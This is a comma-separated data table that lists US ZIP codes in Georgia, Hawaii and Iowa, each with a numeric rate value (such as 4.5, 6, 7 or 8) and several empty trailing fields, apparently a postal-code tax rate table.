US-GA-31634,US,GA,31634,7,,,, US-GA-31635,US,GA,31635,7,,,, US-GA-31636,US,GA,31636,7,,,, US-GA-31637,US,GA,31637,7,,,, US-GA-31638,US,GA,31638,7,,,, US-GA-31639,US,GA,31639,7,,,, US-GA-31641,US,GA,31641,7,,,, US-GA-31642,US,GA,31642,7,,,, US-GA-31643,US,GA,31643,7,,,, US-GA-31645,US,GA,31645,7,,,, US-GA-31647,US,GA,31647,7,,,, US-GA-31648,US,GA,31648,7,,,, US-GA-31649,US,GA,31649,7,,,, US-GA-31650,US,GA,31650,7,,,, US-GA-31698,US,GA,31698,7,,,, US-GA-31699,US,GA,31699,7,,,, US-GA-31701,US,GA,31701,7,,,, US-GA-31702,US,GA,31702,7,,,, US-GA-31703,US,GA,31703,7,,,, US-GA-31704,US,GA,31704,7,,,, US-GA-31705,US,GA,31705,7,,,, US-GA-31706,US,GA,31706,7,,,, US-GA-31707,US,GA,31707,7,,,, US-GA-31708,US,GA,31708,7,,,, US-GA-31709,US,GA,31709,8,,,, US-GA-31711,US,GA,31711,8,,,, US-GA-31712,US,GA,31712,8,,,, US-GA-31714,US,GA,31714,7,,,, US-GA-31716,US,GA,31716,7,,,, US-GA-31719,US,GA,31719,8,,,, US-GA-31720,US,GA,31720,7,,,, US-GA-31721,US,GA,31721,7,,,, US-GA-31722,US,GA,31722,7,,,, US-GA-31727,US,GA,31727,7,,,, US-GA-31730,US,GA,31730,7,,,, US-GA-31733,US,GA,31733,7,,,, US-GA-31735,US,GA,31735,8,,,, US-GA-31738,US,GA,31738,7,,,, US-GA-31739,US,GA,31739,7,,,, US-GA-31743,US,GA,31743,8,,,, US-GA-31744,US,GA,31744,7,,,, US-GA-31747,US,GA,31747,7,,,, US-GA-31749,US,GA,31749,7,,,, US-GA-31750,US,GA,31750,7,,,, US-GA-31753,US,GA,31753,7,,,, US-GA-31756,US,GA,31756,7,,,, US-GA-31757,US,GA,31757,7,,,, US-GA-31758,US,GA,31758,7,,,, US-GA-31760,US,GA,31760,7,,,, US-GA-31763,US,GA,31763,7,,,, US-GA-31764,US,GA,31764,8,,,, US-GA-31765,US,GA,31765,7,,,, US-GA-31768,US,GA,31768,7,,,, US-GA-31769,US,GA,31769,7,,,, US-GA-31771,US,GA,31771,7,,,, US-GA-31772,US,GA,31772,7,,,, US-GA-31773,US,GA,31773,7,,,, US-GA-31774,US,GA,31774,7,,,, US-GA-31775,US,GA,31775,7,,,, US-GA-31776,US,GA,31776,7,,,, US-GA-31778,US,GA,31778,7,,,, US-GA-31779,US,GA,31779,7,,,, US-GA-31780,US,GA,31780,8,,,, US-GA-31781,US,GA,31781,7,,,, US-GA-31782,US,GA,31782,7,,,, US-GA-31783,US,GA,31783,7,,,, US-GA-31784,US,GA,31784,7,,,, US-GA-31787,US,GA,31787,7,,,, US-GA-31788,US,GA,31788,7,,,, US-GA-31789,US,GA,31789,7,,,, US-GA-31790,US,GA,31790,7,,,, US-GA-31791,US,GA,31791,7,,,, US-GA-31792,US,GA,31792,7,,,, US-GA-31793,US,GA,31793,7,,,, US-GA-31794,US,GA,31794,7,,,, US-GA-31795,US,GA,31795,7,,,, US-GA-31796,US,GA,31796,7,,,, US-GA-31798,US,GA,31798,7,,,, US-GA-31799,US,GA,31799,7,,,, US-GA-31801,US,GA,31801,8,,,, US-GA-31803,US,GA,31803,8,,,, US-GA-31804,US,GA,31804,8,,,, US-GA-31805,US,GA,31805,8,,,, US-GA-31806,US,GA,31806,8,,,, US-GA-31807,US,GA,31807,8,,,, US-GA-31808,US,GA,31808,8,,,, US-GA-31810,US,GA,31810,8,,,, US-GA-31811,US,GA,31811,8,,,, US-GA-31812,US,GA,31812,8,,,, US-GA-31814,US,GA,31814,8,,,, US-GA-31815,US,GA,31815,8,,,, US-GA-31816,US,GA,31816,7,,,, US-GA-31820,US,GA,31820,8,,,, US-GA-31821,US,GA,31821,8,,,, US-GA-31822,US,GA,31822,8,,,, US-GA-31823,US,GA,31823,8,,,, US-GA-31824,US,GA,31824,8,,,, US-GA-31825,US,GA,31825,8,,,, US-GA-31826,US,GA,31826,8,,,, US-GA-31827,US,GA,31827,8,,,, US-GA-31829,US,GA,31829,8,,,, US-GA-31830,US,GA,31830,7,,,, US-GA-31831,US,GA,31831,8,,,, US-GA-31832,US,GA,31832,8,,,, US-GA-31833,US,GA,31833,7,,,, US-GA-31836,US,GA,31836,8,,,, US-GA-31901,US,GA,31901,8,,,, US-GA-31902,US,GA,31902,8,,,, US-GA-31903,US,GA,31903,8,,,, US-GA-31904,US,GA,31904,8,,,, US-GA-31905,US,GA,31905,8,,,, US-GA-31906,US,GA,31906,8,,,, US-GA-31907,US,GA,31907,8,,,, US-GA-31908,US,GA,31908,8,,,, US-GA-31909,US,GA,31909,8,,,, US-GA-31914,US,GA,31914,8,,,, US-GA-31917,US,GA,31917,8,,,, US-GA-31993,US,GA,31993,8,,,, US-GA-31995,US,GA,31995,8,,,, US-GA-31997,US,GA,31997,8,,,, US-GA-31998,US,GA,31998,8,,,, US-GA-31999,US,GA,31999,8,,,, US-GA-39813,US,GA,39813,7,,,, US-GA-39815,US,GA,39815,7,,,, US-GA-39817,US,GA,39817,7,,,, US-GA-39818,US,GA,39818,7,,,, US-GA-39819,US,GA,39819,7,,,, US-GA-39823,US,GA,39823,7,,,, US-GA-39824,US,GA,39824,8,,,, US-GA-39825,US,GA,39825,7,,,, US-GA-39826,US,GA,39826,7,,,, US-GA-39827,US,GA,39827,7,,,, US-GA-39828,US,GA,39828,7,,,, US-GA-39829,US,GA,39829,7,,,, US-GA-39832,US,GA,39832,7,,,, US-GA-39834,US,GA,39834,7,,,, US-GA-39836,US,GA,39836,8,,,, US-GA-39837,US,GA,39837,7,,,, US-GA-39840,US,GA,39840,8,,,, US-GA-39841,US,GA,39841,7,,,, US-GA-39842,US,GA,39842,7,,,, US-GA-39845,US,GA,39845,7,,,, US-GA-39846,US,GA,39846,7,,,, US-GA-39851,US,GA,39851,8,,,, US-GA-39852,US,GA,39852,7,,,, US-GA-39854,US,GA,39854,8,,,, US-GA-39859,US,GA,39859,7,,,, US-GA-39861,US,GA,39861,7,,,, US-GA-39862,US,GA,39862,7,,,, US-GA-39866,US,GA,39866,7,,,, US-GA-39867,US,GA,39867,8,,,, US-GA-39870,US,GA,39870,7,,,, US-GA-39877,US,GA,39877,7,,,, US-GA-39885,US,GA,39885,7,,,, US-GA-39886,US,GA,39886,8,,,, US-GA-39897,US,GA,39897,7,,,, US-GA-39901,US,GA,39901,7,,,, US-HI-96701,US,HI,96701,4.5,,,, US-HI-96703,US,HI,96703,4,,,, US-HI-96704,US,HI,96704,4,,,, US-HI-96705,US,HI,96705,4,,,, US-HI-96706,US,HI,96706,4.5,,,, US-HI-96707,US,HI,96707,4.5,,,, US-HI-96708,US,HI,96708,4,,,, US-HI-96709,US,HI,96709,4.5,,,, US-HI-96710,US,HI,96710,4,,,, US-HI-96712,US,HI,96712,4.5,,,, US-HI-96713,US,HI,96713,4,,,, US-HI-96714,US,HI,96714,4,,,, US-HI-96715,US,HI,96715,4,,,, US-HI-96716,US,HI,96716,4,,,, US-HI-96717,US,HI,96717,4.5,,,, US-HI-96718,US,HI,96718,4,,,, US-HI-96719,US,HI,96719,4,,,, US-HI-96720,US,HI,96720,4,,,, US-HI-96721,US,HI,96721,4,,,, US-HI-96722,US,HI,96722,4,,,, US-HI-96725,US,HI,96725,4,,,, US-HI-96726,US,HI,96726,4,,,, US-HI-96727,US,HI,96727,4,,,, US-HI-96728,US,HI,96728,4,,,, US-HI-96729,US,HI,96729,4,,,, US-HI-96730,US,HI,96730,4.5,,,, US-HI-96731,US,HI,96731,4.5,,,, US-HI-96732,US,HI,96732,4,,,, US-HI-96733,US,HI,96733,4,,,, US-HI-96734,US,HI,96734,4.5,,,, US-HI-96737,US,HI,96737,4,,,, US-HI-96738,US,HI,96738,4,,,, US-HI-96739,US,HI,96739,4,,,, US-HI-96740,US,HI,96740,4,,,, US-HI-96741,US,HI,96741,4,,,, US-HI-96743,US,HI,96743,4,,,, US-HI-96744,US,HI,96744,4.5,,,, US-HI-96745,US,HI,96745,4,,,, US-HI-96746,US,HI,96746,4,,,, US-HI-96747,US,HI,96747,4,,,, US-HI-96748,US,HI,96748,4,,,, US-HI-96749,US,HI,96749,4,,,, US-HI-96750,US,HI,96750,4,,,, US-HI-96751,US,HI,96751,4,,,, US-HI-96752,US,HI,96752,4,,,, US-HI-96753,US,HI,96753,4,,,, US-HI-96754,US,HI,96754,4,,,, US-HI-96755,US,HI,96755,4,,,, US-HI-96756,US,HI,96756,4,,,, US-HI-96757,US,HI,96757,4,,,, US-HI-96759,US,HI,96759,4.5,,,, US-HI-96760,US,HI,96760,4,,,, US-HI-96761,US,HI,96761,4,,,, US-HI-96762,US,HI,96762,4.5,,,, US-HI-96763,US,HI,96763,4,,,, US-HI-96764,US,HI,96764,4,,,, US-HI-96765,US,HI,96765,4,,,, US-HI-96766,US,HI,96766,4,,,, US-HI-96767,US,HI,96767,4,,,, US-HI-96768,US,HI,96768,4,,,, US-HI-96769,US,HI,96769,4,,,, US-HI-96770,US,HI,96770,4,,,, US-HI-96771,US,HI,96771,4,,,, US-HI-96772,US,HI,96772,4,,,, US-HI-96773,US,HI,96773,4,,,, US-HI-96774,US,HI,96774,4,,,, US-HI-96776,US,HI,96776,4,,,, US-HI-96777,US,HI,96777,4,,,, US-HI-96778,US,HI,96778,4,,,, US-HI-96779,US,HI,96779,4,,,, US-HI-96780,US,HI,96780,4,,,, US-HI-96781,US,HI,96781,4,,,, US-HI-96782,US,HI,96782,4.5,,,, US-HI-96783,US,HI,96783,4,,,, US-HI-96784,US,HI,96784,4,,,, US-HI-96785,US,HI,96785,4,,,, US-HI-96786,US,HI,96786,4.5,,,, US-HI-96788,US,HI,96788,4,,,, US-HI-96789,US,HI,96789,4.5,,,, US-HI-96790,US,HI,96790,4,,,, US-HI-96791,US,HI,96791,4.5,,,, US-HI-96792,US,HI,96792,4.5,,,, US-HI-96793,US,HI,96793,4,,,, US-HI-96795,US,HI,96795,4.5,,,, US-HI-96796,US,HI,96796,4,,,, US-HI-96797,US,HI,96797,4.5,,,, US-HI-96801,US,HI,96801,4.5,,,, US-HI-96802,US,HI,96802,4.5,,,, US-HI-96803,US,HI,96803,4.5,,,, US-HI-96804,US,HI,96804,4.5,,,, US-HI-96805,US,HI,96805,4.5,,,, US-HI-96806,US,HI,96806,4.5,,,, US-HI-96807,US,HI,96807,4.5,,,, US-HI-96808,US,HI,96808,4.5,,,, US-HI-96809,US,HI,96809,4.5,,,, US-HI-96810,US,HI,96810,4.5,,,, US-HI-96811,US,HI,96811,4.5,,,, US-HI-96812,US,HI,96812,4.5,,,, US-HI-96813,US,HI,96813,4.5,,,, US-HI-96814,US,HI,96814,4.5,,,, US-HI-96815,US,HI,96815,4.5,,,, US-HI-96816,US,HI,96816,4.5,,,, US-HI-96817,US,HI,96817,4.5,,,, US-HI-96818,US,HI,96818,4.5,,,, US-HI-96819,US,HI,96819,4.5,,,, US-HI-96820,US,HI,96820,4.5,,,, US-HI-96821,US,HI,96821,4.5,,,, US-HI-96822,US,HI,96822,4.5,,,, US-HI-96823,US,HI,96823,4.5,,,, US-HI-96824,US,HI,96824,4.5,,,, US-HI-96825,US,HI,96825,4.5,,,, US-HI-96826,US,HI,96826,4.5,,,, US-HI-96828,US,HI,96828,4.5,,,, US-HI-96830,US,HI,96830,4.5,,,, US-HI-96836,US,HI,96836,4.5,,,, US-HI-96837,US,HI,96837,4.5,,,, US-HI-96838,US,HI,96838,4.5,,,, US-HI-96839,US,HI,96839,4.5,,,, US-HI-96840,US,HI,96840,4.5,,,, US-HI-96841,US,HI,96841,4.5,,,, US-HI-96843,US,HI,96843,4.5,,,, US-HI-96844,US,HI,96844,4.5,,,, US-HI-96846,US,HI,96846,4.5,,,, US-HI-96847,US,HI,96847,4.5,,,, US-HI-96848,US,HI,96848,4.5,,,, US-HI-96849,US,HI,96849,4.5,,,, US-HI-96850,US,HI,96850,4.5,,,, US-HI-96853,US,HI,96853,4.5,,,, US-HI-96854,US,HI,96854,4.5,,,, US-HI-96857,US,HI,96857,4.5,,,, US-HI-96858,US,HI,96858,4.5,,,, US-HI-96859,US,HI,96859,4.5,,,, US-HI-96860,US,HI,96860,4.5,,,, US-HI-96861,US,HI,96861,4.5,,,, US-HI-96863,US,HI,96863,4.5,,,, US-HI-96898,US,HI,96898,4.5,,,, US-IA-50001,US,IA,50001,6,,,, US-IA-50002,US,IA,50002,7,,,, US-IA-50003,US,IA,50003,6,,,, US-IA-50005,US,IA,50005,7,,,, US-IA-50006,US,IA,50006,7,,,, US-IA-50007,US,IA,50007,6,,,, US-IA-50008,US,IA,50008,7,,,, US-IA-50009,US,IA,50009,6,,,, US-IA-50010,US,IA,50010,7,,,, US-IA-50011,US,IA,50011,7,,,, US-IA-50012,US,IA,50012,7,,,, US-IA-50013,US,IA,50013,7,,,, US-IA-50014,US,IA,50014,7,,,, US-IA-50020,US,IA,50020,7,,,, US-IA-50021,US,IA,50021,6,,,, US-IA-50022,US,IA,50022,7,,,, US-IA-50023,US,IA,50023,6,,,, US-IA-50025,US,IA,50025,7,,,, US-IA-50026,US,IA,50026,7,,,, US-IA-50027,US,IA,50027,7,,,, US-IA-50028,US,IA,50028,7,,,, US-IA-50029,US,IA,50029,7,,,, US-IA-50031,US,IA,50031,7,,,, US-IA-50032,US,IA,50032,6,,,, US-IA-50033,US,IA,50033,7,,,, US-IA-50034,US,IA,50034,7,,,, US-IA-50035,US,IA,50035,6,,,, US-IA-50036,US,IA,50036,7,,,, US-IA-50037,US,IA,50037,7,,,, US-IA-50038,US,IA,50038,6,,,, US-IA-50039,US,IA,50039,6,,,, US-IA-50040,US,IA,50040,7,,,, US-IA-50041,US,IA,50041,7,,,, US-IA-50042,US,IA,50042,7,,,, US-IA-50044,US,IA,50044,7,,,, US-IA-50046,US,IA,50046,7,,,, US-IA-50047,US,IA,50047,6,,,, US-IA-50048,US,IA,50048,7,,,, US-IA-50049,US,IA,50049,7,,,, US-IA-50050,US,IA,50050,7,,,, US-IA-50051,US,IA,50051,7,,,, US-IA-50052,US,IA,50052,7,,,, US-IA-50054,US,IA,50054,7,,,, US-IA-50055,US,IA,50055,7,,,, US-IA-50056,US,IA,50056,7,,,, US-IA-50057,US,IA,50057,7,,,, US-IA-50058,US,IA,50058,7,,,, US-IA-50059,US,IA,50059,7,,,, US-IA-50060,US,IA,50060,7,,,, US-IA-50061,US,IA,50061,6,,,, US-IA-50062,US,IA,50062,7,,,, US-IA-50063,US,IA,50063,6,,,, US-IA-50064,US,IA,50064,7,,,, US-IA-50065,US,IA,50065,7,,,, US-IA-50066,US,IA,50066,6,,,, US-IA-50067,US,IA,50067,7,,,, US-IA-50068,US,IA,50068,7,,,, US-IA-50069,US,IA,50069,6,,,, US-IA-50070,US,IA,50070,6,,,, US-IA-50071,US,IA,50071,7,,,, US-IA-50072,US,IA,50072,7,,,, US-IA-50073,US,IA,50073,6,,,, US-IA-50074,US,IA,50074,7,,,, US-IA-50075,US,IA,50075,7,,,, US-IA-50076,US,IA,50076,7,,,, US-IA-50078,US,IA,50078,7,,,, US-IA-50099,US,IA,50099,7,,,, US-IA-50101,US,IA,50101,7,,,, US-IA-50102,US,IA,50102,7,,,, US-IA-50103,US,IA,50103,7,,,, US-IA-50104,US,IA,50104,6,,,, US-IA-50105,US,IA,50105,7,,,, US-IA-50106,US,IA,50106,7,,,, US-IA-50107,US,IA,50107,7,,,, US-IA-50108,US,IA,50108,7,,,, US-IA-50109,US,IA,50109,6,,,, US-IA-50110,US,IA,50110,7,,,, US-IA-50111,US,IA,50111,6,,,, US-IA-50112,US,IA,50112,7,,,, US-IA-50115,US,IA,50115,7,,,, US-IA-50116,US,IA,50116,7,,,, US-IA-50117,US,IA,50117,7,,,, US-IA-50118,US,IA,50118,6,,,, US-IA-50119,US,IA,50119,7,,,, US-IA-50120,US,IA,50120,7,,,, US-IA-50122,US,IA,50122,7,,,, US-IA-50123,US,IA,50123,7,,,, US-IA-50124,US,IA,50124,7,,,, US-IA-50125,US,IA,50125,6,,,, US-IA-50126,US,IA,50126,7,,,, US-IA-50127,US,IA,50127,7,,,, US-IA-50128,US,IA,50128,7,,,, US-IA-50129,US,IA,50129,7,,,, US-IA-50130,US,IA,50130,7,,,, US-IA-50131,US,IA,50131,6,,,, US-IA-50132,US,IA,50132,7,,,, US-IA-50133,US,IA,50133,7,,,, US-IA-50134,US,IA,50134,7,,,, US-IA-50135,US,IA,50135,7,,,, US-IA-50136,US,IA,50136,6,,,, US-IA-50137,US,IA,50137,7,,,, US-IA-50138,US,IA,50138,7,,,, US-IA-50139,US,IA,50139,6,,,, US-IA-50140,US,IA,50140,7,,,, US-IA-50141,US,IA,50141,7,,,, US-IA-50142,US,IA,50142,7,,,, US-IA-50143,US,IA,50143,7,,,, US-IA-50144,US,IA,50144,7,,,, US-IA-50145,US,IA,50145,6,,,, US-IA-50146,US,IA,50146,6,,,, US-IA-50147,US,IA,50147,7,,,, US-IA-50148,US,IA,50148,7,,,, US-IA-50149,US,IA,50149,7,,,, US-IA-50150,US,IA,50150,7,,,, US-IA-50151,US,IA,50151,7,,,, US-IA-50152,US,IA,50152,7,,,, US-IA-50153,US,IA,50153,7,,,, US-IA-50154,US,IA,50154,7,,,, US-IA-50155,US,IA,50155,7,,,, US-IA-50156,US,IA,50156,7,,,, US-IA-50157,US,IA,50157,7,,,, US-IA-50158,US,IA,50158,7,,,, US-IA-50160,US,IA,50160,6,,,, US-IA-50161,US,IA,50161,7,,,, US-IA-50162,US,IA,50162,7,,,, US-IA-50163,US,IA,50163,7,,,, US-IA-50164,US,IA,50164,7,,,, US-IA-50165,US,IA,50165,7,,,, US-IA-50166,US,IA,50166,6,,,, US-IA-50167,US,IA,50167,6,,,, US-IA-50168,US,IA,50168,7,,,, US-IA-50169,US,IA,50169,6,,,, US-IA-50170,US,IA,50170,7,,,, US-IA-50171,US,IA,50171,7,,,, US-IA-50173,US,IA,50173,7,,,, US-IA-50174,US,IA,50174,7,,,, US-IA-50201,US,IA,50201,7,,,, US-IA-50206,US,IA,50206,7,,,, US-IA-50207,US,IA,50207,7,,,, US-IA-50208,US,IA,50208,7,,,, US-IA-50210,US,IA,50210,6,,,, US-IA-50211,US,IA,50211,6,,,, US-IA-50212,US,IA,50212,7,,,, US-IA-50213,US,IA,50213,7,,,, US-IA-50214,US,IA,50214,7,,,, US-IA-50216,US,IA,50216,7,,,, US-IA-50217,US,IA,50217,7,,,, US-IA-50218,US,IA,50218,7,,,, US-IA-50219,US,IA,50219,7,,,, US-IA-50220,US,IA,50220,7,,,, US-IA-50222,US,IA,50222,7,,,, US-IA-50223,US,IA,50223,7,,,, US-IA-50225,US,IA,50225,7,,,, US-IA-50226,US,IA,50226,7,,,, US-IA-50227,US,IA,50227,7,,,, US-IA-50228,US,IA,50228,7,,,, US-IA-50229,US,IA,50229,6,,,, US-IA-50230,US,IA,50230,7,,,, US-IA-50231,US,IA,50231,7,,,, US-IA-50232,US,IA,50232,7,,,, US-IA-50233,US,IA,50233,6,,,, US-IA-50234,US,IA,50234,7,,,, US-IA-50235,US,IA,50235,7,,,, US-IA-50236,US,IA,50236,7,,,, US-IA-50237,US,IA,50237,6,,,, US-IA-50238,US,IA,50238,7,,,, US-IA-50239,US,IA,50239,7,,,, US-IA-50240,US,IA,50240,7,,,, US-IA-50241,US,IA,50241,6,,,, US-IA-50242,US,IA,50242,7,,,, US-IA-50243,US,IA,50243,7,,,, US-IA-50244,US,IA,50244,7,,,, US-IA-50246,US,IA,50246,7,,,, US-IA-50247,US,IA,50247,7,,,, US-IA-50248,US,IA,50248,7,,,, US-IA-50249,US,IA,50249,7,,,, US-IA-50250,US,IA,50250,7,,,, US-IA-50251,US,IA,50251,7,,,, US-IA-50252,US,IA,50252,6,,,, US-IA-50254,US,IA,50254,7,,,, US-IA-50255,US,IA,50255,7,,,, US-IA-50256,US,IA,50256,7,,,, US-IA-50257,US,IA,50257,7,,,, US-IA-50258,US,IA,50258,7,,,, US-IA-50259,US,IA,50259,7,,,, US-IA-50261,US,IA,50261,6,,,, US-IA-50262,US,IA,50262,7,,,, US-IA-50263,US,IA,50263,6,,,, US-IA-50264,US,IA,50264,7,,,, US-IA-50265,US,IA,50265,6,,,, US-IA-50266,US,IA,50266,6,,,, US-IA-50268,US,IA,50268,7,,,, US-IA-50269,US,IA,50269,7,,,, US-IA-50271,US,IA,50271,7,,,, US-IA-50272,US,IA,50272,7,,,, US-IA-50273,US,IA,50273,7,,,, US-IA-50274,US,IA,50274,7,,,, US-IA-50275,US,IA,50275,6,,,, US-IA-50276,US,IA,50276,6,,,, US-IA-50277,US,IA,50277,7,,,, US-IA-50278,US,IA,50278,7,,,, US-IA-50301,US,IA,50301,6,,,, US-IA-50302,US,IA,50302,6,,,, US-IA-50303,US,IA,50303,6,,,, US-IA-50304,US,IA,50304,6,,,, US-IA-50305,US,IA,50305,6,,,, US-IA-50306,US,IA,50306,6,,,, US-IA-50307,US,IA,50307,6,,,, US-IA-50308,US,IA,50308,6,,,, US-IA-50309,US,IA,50309,6,,,, US-IA-50310,US,IA,50310,6,,,, US-IA-50311,US,IA,50311,6,,,, US-IA-50312,US,IA,50312,6,,,, US-IA-50313,US,IA,50313,6,,,, US-IA-50314,US,IA,50314,6,,,, US-IA-50315,US,IA,50315,6,,,, US-IA-50316,US,IA,50316,6,,,, US-IA-50317,US,IA,50317,6,,,, US-IA-50318,US,IA,50318,6,,,, US-IA-50319,US,IA,50319,6,,,, US-IA-50320,US,IA,50320,6,,,, US-IA-50321,US,IA,50321,6,,,, US-IA-50322,US,IA,50322,6,,,, US-IA-50323,US,IA,50323,6,,,, US-IA-50324,US,IA,50324,6,,,, US-IA-50325,US,IA,50325,6,,,, US-IA-50327,US,IA,50327,6,,,, US-IA-50328,US,IA,50328,6,,,, US-IA-50329,US,IA,50329,6,,,, US-IA-50330,US,IA,50330,6,,,, US-IA-50331,US,IA,50331,6,,,, US-IA-50332,US,IA,50332,6,,,, US-IA-50333,US,IA,50333,6,,,, US-IA-50334,US,IA,50334,6,,,, US-IA-50335,US,IA,50335,6,,,, US-IA-50336,US,IA,50336,6,,,, US-IA-50339,US,IA,50339,6,,,, US-IA-50340,US,IA,50340,6,,,, US-IA-50359,US,IA,50359,6,,,, US-IA-50360,US,IA,50360,6,,,, US-IA-50361,US,IA,50361,6,,,, US-IA-50362,US,IA,50362,6,,,, US-IA-50363,US,IA,50363,6,,,, US-IA-50364,US,IA,50364,6,,,, US-IA-50367,US,IA,50367,6,,,, US-IA-50368,US,IA,50368,6,,,, US-IA-50369,US,IA,50369,6,,,, US-IA-50380,US,IA,50380,6,,,, US-IA-50381,US,IA,50381,6,,,, US-IA-50391,US,IA,50391,6,,,, US-IA-50392,US,IA,50392,6,,,, US-IA-50393,US,IA,50393,6,,,, US-IA-50394,US,IA,50394,6,,,, US-IA-50395,US,IA,50395,6,,,, US-IA-50396,US,IA,50396,6,,,, US-IA-50398,US,IA,50398,6,,,, US-IA-50401,US,IA,50401,7,,,, US-IA-50402,US,IA,50402,7,,,, US-IA-50420,US,IA,50420,7,,,, US-IA-50421,US,IA,50421,7,,,, US-IA-50423,US,IA,50423,7,,,, US-IA-50424,US,IA,50424,7,,,, US-IA-50426,US,IA,50426,7,,,, US-IA-50427,US,IA,50427,7,,,, US-IA-50428,US,IA,50428,7,,,, US-IA-50430,US,IA,50430,7,,,, US-IA-50431,US,IA,50431,7,,,, US-IA-50432,US,IA,50432,7,,,, US-IA-50433,US,IA,50433,7,,,, US-IA-50434,US,IA,50434,7,,,, US-IA-50435,US,IA,50435,7,,,, US-IA-50436,US,IA,50436,7,,,, US-IA-50438,US,IA,50438,7,,,, US-IA-50439,US,IA,50439,7,,,, US-IA-50440,US,IA,50440,7,,,, US-IA-50441,US,IA,50441,7,,,, US-IA-50444,US,IA,50444,7,,,, US-IA-50446,US,IA,50446,7,,,, US-IA-50447,US,IA,50447,7,,,, US-IA-50448,US,IA,50448,7,,,, US-IA-50449,US,IA,50449,7,,,, US-IA-50450,US,IA,50450,7,,,, US-IA-50451,US,IA,50451,7,,,, US-IA-50452,US,IA,50452,7,,,, US-IA-50453,US,IA,50453,7,,,, US-IA-50454,US,IA,50454,7,,,, US-IA-50455,US,IA,50455,7,,,, US-IA-50456,US,IA,50456,7,,,, US-IA-50457,US,IA,50457,7,,,, US-IA-50458,US,IA,50458,7,,,, US-IA-50459,US,IA,50459,7,,,, US-IA-50460,US,IA,50460,7,,,, US-IA-50461,US,IA,50461,7,,,, US-IA-50464,US,IA,50464,7,,,, US-IA-50465,US,IA,50465,7,,,, US-IA-50466,US,IA,50466,7,,,, US-IA-50467,US,IA,50467,7,,,, US-IA-50468,US,IA,50468,7,,,, US-IA-50469,US,IA,50469,7,,,, US-IA-50470,US,IA,50470,7,,,, US-IA-50471,US,IA,50471,7,,,, US-IA-50472,US,IA,50472,7,,,, US-IA-50473,US,IA,50473,7,,,, US-IA-50475,US,IA,50475,7,,,, US-IA-50476,US,IA,50476,7,,,, US-IA-50477,US,IA,50477,7,,,, US-IA-50478,US,IA,50478,7,,,, US-IA-50479,US,IA,50479,7,,,, US-IA-50480,US,IA,50480,7,,,, US-IA-50481,US,IA,50481,7,,,, US-IA-50482,US,IA,50482,7,,,, US-IA-50483,US,IA,50483,7,,,, US-IA-50484,US,IA,50484,7,,,, US-IA-50501,US,IA,50501,7,,,, US-IA-50510,US,IA,50510,7,,,, US-IA-50511,US,IA,50511,7,,,, US-IA-50514,US,IA,50514,7,,,, US-IA-50515,US,IA,50515,7,,,, US-IA-50516,US,IA,50516,7,,,, US-IA-50517,US,IA,50517,7,,,, US-IA-50518,US,IA,50518,7,,,, US-IA-50519,US,IA,50519,7,,,, US-IA-50520,US,IA,50520,7,,,, US-IA-50521,US,IA,50521,7,,,, US-IA-50522,US,IA,50522,7,,,, US-IA-50523,US,IA,50523,7,,,, US-IA-50524,US,IA,50524,7,,,, US-IA-50525,US,IA,50525,7,,,, US-IA-50526,US,IA,50526,7,,,, US-IA-50527,US,IA,50527,7,,,, US-IA-50528,US,IA,50528,7,,,, US-IA-50529,US,IA,50529,7,,,, US-IA-50530,US,IA,50530,7,,,, US-IA-50531,US,IA,50531,7,,,, US-IA-50532,US,IA,50532,7,,,, US-IA-50533,US,IA,50533,7,,,, US-IA-50535,US,IA,50535,7,,,, US-IA-50536,US,IA,50536,7,,,, US-IA-50538,US,IA,50538,7,,,, US-IA-50539,US,IA,50539,7,,,, US-IA-50540,US,IA,50540,7,,,, US-IA-50541,US,IA,50541,7,,,, US-IA-50542,US,IA,50542,7,,,, US-IA-50543,US,IA,50543,7,,,, US-IA-50544,US,IA,50544,7,,,, US-IA-50545,US,IA,50545,7,,,, US-IA-50546,US,IA,50546,7,,,, US-IA-50548,US,IA,50548,7,,,, US-IA-50551,US,IA,50551,7,,,, US-IA-50552,US,IA,50552,7,,,, US-IA-50554,US,IA,50554,7,,,, US-IA-50556,US,IA,50556,7,,,, US-IA-50557,US,IA,50557,7,,,, US-IA-50558,US,IA,50558,7,,,, US-IA-50559,US,IA,50559,7,,,, US-IA-50560,US,IA,50560,7,,,, US-IA-50561,US,IA,50561,7,,,, US-IA-50562,US,IA,50562,7,,,, US-IA-50563,US,IA,50563,7,,,, US-IA-50565,US,IA,50565,7,,,, US-IA-50566,US,IA,50566,7,,,, US-IA-50567,US,IA,50567,7,,,, US-IA-50568,US,IA,50568,7,,,, US-IA-50569,US,IA,50569,7,,,, US-IA-50570,US,IA,50570,7,,,, US-IA-50571,US,IA,50571,7,,,, US-IA-50573,US,IA,50573,7,,,, US-IA-50574,US,IA,50574,7,,,, US-IA-50575,US,IA,50575,7,,,, US-IA-50576,US,IA,50576,7,,,, US-IA-50577,US,IA,50577,7,,,, US-IA-50578,US,IA,50578,7,,,, US-IA-50579,US,IA,50579,7,,,, US-IA-50581,US,IA,50581,7,,,, US-IA-50582,US,IA,50582,7,,,, US-IA-50583,US,IA,50583,7,,,, US-IA-50585,US,IA,50585,7,,,, US-IA-50586,US,IA,50586,7,,,, US-IA-50588,US,IA,50588,7,,,, US-IA-50590,US,IA,50590,7,,,, US-IA-50591,US,IA,50591,7,,,, US-IA-50592,US,IA,50592,7,,,, US-IA-50593,US,IA,50593,7,,,, US-IA-50594,US,IA,50594,7,,,, US-IA-50595,US,IA,50595,7,,,, US-IA-50597,US,IA,50597,7,,,, US-IA-50598,US,IA,50598,7,,,, US-IA-50599,US,IA,50599,7,,,, US-IA-50601,US,IA,50601,7,,,, US-IA-50602,US,IA,50602,7,,,, US-IA-50603,US,IA,50603,7,,,, US-IA-50604,US,IA,50604,7,,,, US-IA-50605,US,IA,50605,7,,,, US-IA-50606,US,IA,50606,7,,,, US-IA-50607,US,IA,50607,7,,,, US-IA-50608,US,IA,50608,7,,,, US-IA-50609,US,IA,50609,7,,,, US-IA-50611,US,IA,50611,7,,,, US-IA-50612,US,IA,50612,7,,,, US-IA-50613,US,IA,50613,7,,,, US-IA-50614,US,IA,50614,7,,,, US-IA-50616,US,IA,50616,7,,,, US-IA-50619,US,IA,50619,7,,,, US-IA-50620,US,IA,50620,7,,,, US-IA-50621,US,IA,50621,7,,,, US-IA-50622,US,IA,50622,7,,,, US-IA-50623,US,IA,50623,7,,,, US-IA-50624,US,IA,50624,7,,,, US-IA-50625,US,IA,50625,7,,,, US-IA-50626,US,IA,50626,7,,,, US-IA-50627,US,IA,50627,7,,,, US-IA-50628,US,IA,50628,7,,,, US-IA-50629,US,IA,50629,7,,,, US-IA-50630,US,IA,50630,7,,,, 